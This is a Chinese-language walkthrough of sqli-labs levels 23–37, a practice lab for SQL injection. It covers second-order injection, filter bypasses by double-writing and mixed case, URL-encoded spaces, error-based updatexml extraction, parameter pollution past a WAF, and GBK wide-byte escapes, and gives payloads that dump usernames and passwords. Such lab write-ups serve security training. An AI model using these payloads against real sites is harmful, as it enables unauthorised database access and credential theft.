第23关
看到页面就知道与前几关有所不同,没有了登录框,这里我用HackBar进行注入。尝试?id=1'
时
报错,接下来尝试?id=1' order by 3--+
,发现仍然报错,并且报错信息中有LIMIT 0,1'
,在这里这个应该被注释掉,难道是注释符的问题,尝试用#
,%23
,;%00
进行注释,发现当注释符为;%00
时,正常显示。
所以使用联合注入,方法与之前相同,直接爆个信息
-1' union select 1,group_concat(id,username,0x7e,password),3 from users ;%00
看其他大佬讲解这里也可以对单引号进行闭合,这里不能用order by判断列数,所以用union select 1,2,3
进行测试,加了4时报错,所以只有三列。
并且这里只能在2中进行注入
但后面一些数据我查不出来,大家可以尝试尝试。
第24关
二次注入:我们可以理解为插入数据时,对其中的特殊字符进行了转义处理,但在写入数据库的时候又保留了原来的数据。而在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理,这样就发生了二次注入。
分析源代码
注册账户对账号密码进行了过滤
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
登陆也是
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
但在修改密码中我们发现并没有对username进行过滤
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
这就是我们所说的二次注入。因为知道有admin这个用户名,所以我们注册一个用户名admin'#
的账号,因为对‘#
进行了转义,所以在注册登陆过程中都没有反应,但实际存入数据库的还是admin'#
,所以当我们修改密码时所执行的sql语句为update users set password='123' where username='admin '#'
,发现用户名中的单引号与username=''
中的单引号闭合,导致用户名为admin的账号密码被修改掉,而admin'#
却没有变
第25关
看到界面就可以猜想到是对or和and进行了过滤
尝试
?id=1' and 1=1--+
报错
下面有提示,可以发现and果然被过滤了
那在尝试
?id=1' order by 3--+
果然or也被过滤了,尝试双写绕过,发现可行
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
查看源代码的确是对or和and进行了过滤,这里i
是指不区分大小写,因此只要对or和and进行双写即可,其余步骤与之前相同。
第25a
与25关相似,尝试?id=1'
?id=1"
都报错,判断为字符型注入
果然or仍然被过滤,继续采用双写绕过
发现可行,其余步骤与之前相同。
第26关
尝试?id=1'
报错,证明字符型注入,并且单引号闭合。再尝试?id=1' and '1'='1--+
发现and和注释的--
都消失了,页面也算是提醒了空格会消失,这里commens应该就是指and和or,再尝试一下?id=1' oorrder by 4%23
再次验证了or和空格被过滤,但or可以双写进行绕过。
这里看一眼源代码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
方法一
既然无法使用空格,那我们就不用空格,采用报错注入的方法
爆库
这里可以用或(oorr,||)或者且(anandd,%26%26(不能用&&否则报错))都可以
?id=1' ||(updatexml(1,concat(0x5e,database(),0x5e),1));%00
爆表
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1));%00
爆列
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_name='users')anandd (table_schema='security'))),0x7e),1));%00
爆信息
这里通过不断增加id值来获得所有信息
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(username,passwoorrd))from(security.users)where(id=1)),0x7e),1));%00
方法二
通过URL编码方式代替空格,以下是几种URL编码代替空格的方法
%09 Tab键(水平)
%0a 新建一行
%0c 新的一页
%0d return 键
%0b Tab键(垂直)
%a0 空格
所有的语句,都只需要将空格改成URL编码方式即可(这里只能使用%0b和%a0)
特殊说明
URL编码问题
在windows中URL编码无法代替空格,这是Apache 解析的问题,而Linux 下没有这个问题,所以可以在Linux docker中搭建sqli-labs。
Warning问题
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in
这个问题直到28关都还会显示,但是好像并不影响做题,暂时还没有好的解决方法。
第26a
相比26关,26a关闭了报错,闭合方式改成了')
,其余步骤与之前相同
?id=1111')%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users;%00
第27关
看到页面就能猜想到对union和select进行了过滤,这里可以尝试双写或者大小写绕过,看一下源代码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
仍然对空格进行了过滤,所以这里对union和select进行大小写混合,用URL编码代替空格(这里我用的%0a
,测试%0b
,%0c
,%0d
均可,并且不区分大小写)。直接爆个信息
?id=1111'%0AUNiON%0ASeleCt%0A1,group_concat(username,password),3%0Afrom%0Ausers;%00
第27a
与27关不同的地方在于闭合方式,这里闭合方式变成了双引号,其余步骤与27相同。
?id=1111"%0UNIOn%0aSeleCt%0a1,group_concat(username,password),3%0afrom%0ausers;%00
第28关
先寻找闭合方式,单引号闭合报错,加上;%00
后仍然报错,证明单引号后面还有符号。尝试单引号加单括号,报错,加上;%00
回显正常,则闭合方式为单引号加括号。尝试上一关相同方法直接爆信息,却爆不出信息。先看看查看源代码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
'/union\s+select/i'
,\s
表示空格,+
表示匹配一次或多次,/i
表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小写。所以这里大小写与双写都爆不出信息,既然它会匹配一个union+select,我们直接写两个不就可以了?
?id=1111')%0aunionunion%0aselectselect%0a1,group_concat(username,password),3%0afrom%0ausers;%00
提交发现过滤了一个union+select,第二个连到一块去了
那再加一个编码的空格不就行了吗
?id=1111')%0aunionunion%0aselect%0aselect%0a1,group_concat(username,password),3%0afrom%0ausers;%00
第28a
用28关的句子直接爆信息,发现成功了。emmm看看源代码
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
???怎么过滤更少了,那我们可以用更简单的句子
?id=1111') unionunion select select 1,group_concat(username,password),3 from users--+
第29关
知识点
相关视频
29,30,31均为双服务器的题,做题需要有相关环境配置。
http://sqli/Less-29/login.php?id=1&id=2
,这里只显示了第二个参数的内容,看了相关知识点我们知道这个参数是由apache(php)进行解析的。至于这里能注入的原理是因为两个服务器只在tomcat 服务器中(也就是解析第一个参数的地方)做数据过滤和处理(功能类似为一个 WAF),而我们直接对第二个参数进行更改,相当于直接绕过了这个WAF。所以直接在第二个参数处构造语句,看了一眼源代码,这里没有任何防护,所以方法和以前的相同。
直接爆破信息
login.php?id=1&id=-2' union select 1,group_concat(username,password),3 from users--+
第30关
和上关一模一样,只是闭合方式变成了双引号。直接爆个信息。
login.php?id=1&id=-2" union select 1,group_concat(username,password),3 from users--+
第31关
仍然是只修改了一下闭合方式,修改成了")
,爆个信息
login.php?id=1&id=-2") union select 1,group_concat(username,password),3 from users--+
第32关
宽字节注入原理:一个gbk汉字占两个字节,遇到连续两个字节,会自动解析为一个汉字,addslashes
函数为了防止sql注入,通过自己拿出一个\
将传入参数值给转义掉。(比如:将'
转义为\'
,单引号便失去了作用)而我们提前加一个字节,当函数拿出\
时,他会自动和我们提前加的字节合成解析成一个汉字。所以本题我们直接在单引号前加上%df
即?id=1%df'
,这样单引号便正常发挥作用
那么剩余步骤与之前便相同了,直接爆个信息
第33关
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
stripslashes(string)
函数删除由addslashes()
函数添加的反斜杠,好像没什么用。步骤与32关方法相同。
第34关
这一关变成post型注入漏洞,可以使用HackBar,也可以使用bp进行抓包,这里我使用抓包演示。还是直接爆个信息吧,前面步骤都相同
uname=admin%df' union select 1,group_concat(username,password) from users--+&passwd=admin&submit=Submit
第35关
测试闭合发现不管是单引号,双引号,单引号加括号等等等等,都是报错,猜测为数字型注入,尝试注入
直接尝试爆信息
?id=-1 union select 1,2,group_concat(username,password) from users --+
竟没有一丝丝过滤?查看源代码
$id=check_addslashes($_GET['id']);
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
原来设置了过滤,只不过本关刚好是数字型注入。
第36关
尝试单引号闭合,被转移,加上%df,报错,直接尝试
?id=1%df' order by 4--+
直接爆个信息
?id=11111%df' union select 1,2,group_concat(username,password) from users --+
难道也没有丝毫防范?
第37关
抓包发现为POST型,构造语句直接爆信息
uname=admin%df' union select 1,group_concat(username,password) from users --+&passwd=admin&submit=Submit